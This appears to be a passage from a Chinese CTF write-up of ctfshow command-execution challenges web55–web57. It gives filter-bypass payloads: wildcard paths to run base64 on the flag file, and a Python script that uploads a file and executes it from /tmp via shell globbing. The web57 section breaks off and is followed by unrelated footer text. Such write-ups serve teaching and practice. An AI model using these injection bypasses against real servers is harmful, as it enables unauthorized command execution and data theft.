bin为binary的简写,主要放置一些系统的必备执行档例如:cat、cp、chmod df、dmesg、gzip、kill、ls、mkdir、more、mount、rm、su、tar、base64等。
我们日常直接使用的cat或者ls等等都其实是简写,例如ls完整全称应该是/bin/ls
所以payload
?c=/???/????64 ????.???
然后解码即可
web56
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|[0-9]|\\$|\(|\{|\'|\"|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}
这里甚至吧数字都给过滤掉了,还有部分的特殊字符
这里看南神博客,南神原话
“这次在上一题的基础上多过滤掉了数字,导致我们无法使用上题的payload。不过之前看过p师傅的一篇无字母数字webshell的文章,这里我们可以利用PHP的特性:如果我们发送一个上传文件的post包,PHP会将我们上传的文件保存在临时的文件夹下,并且默认的文件目录是/tmp/PHPxxxxxx。文件名最后的6个字符是随机的大小写字母,而且最后一个字符大概率是大写字母。容易想到的匹配方式就是利用?进行匹配,即???/???,然而这不一定会匹配到我们上传的文件,这时候有什么办法呢?”
发现可以用[]来正则匹配,如???/???[A-Z]就能匹配B-Y,于是为了匹配A-Z就可以从@匹配到[
然后这里有个技巧是使用 . 来执行文件,如创建了一个 a.txt,然后里面写ls
shell里执行 . a.txt,就会执行出ls的结果。
于是构造如下
import requests
while True:
url = 'http://617464c5-1e4b-4cd8-9ef1-adbb89037d3c.challenge.ctf.show/?c=. /???/????????[@-[]'
flag = requests.post(url=url,files={"file":("flag.txt","cat flag.PHP")})
if("ctf" in flag.text):
print(flag.text)
break
即可得到flag
还可以看无字母数字的命令执行
web57
//flag in 36.PHP
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|[0-9]|\`|\|\#|\'|\"|\`|\%|\x09|\x26|\x0a|\>|\<|\.|\,|\?|\*|\-|\=|\[/i", $c)){
system("cat ".$c.".PHP");
}
}else{
highlight_file(__FILE__);
}
可以看的出来题目要求是让我们构造出c = 36,但是这里数字字母都过滤了,也只能用特殊符号来操作了
看了南神
今天关于什么是 Web3?Web3 与 Web1 和 Web2 相比如何?和web2和web3的区别的分享就到这里,希望大家有所收获,若想了解更多关于Bugku CTF web31(Web)、ChatGPT将如何影响Web2、Web3和网络安全?、Ctfshow web入门-web38 WP、ctfshow 命令执行 web29-web77 web118-122 web124 wp等相关知识,可以在本站进行查询。
本文标签: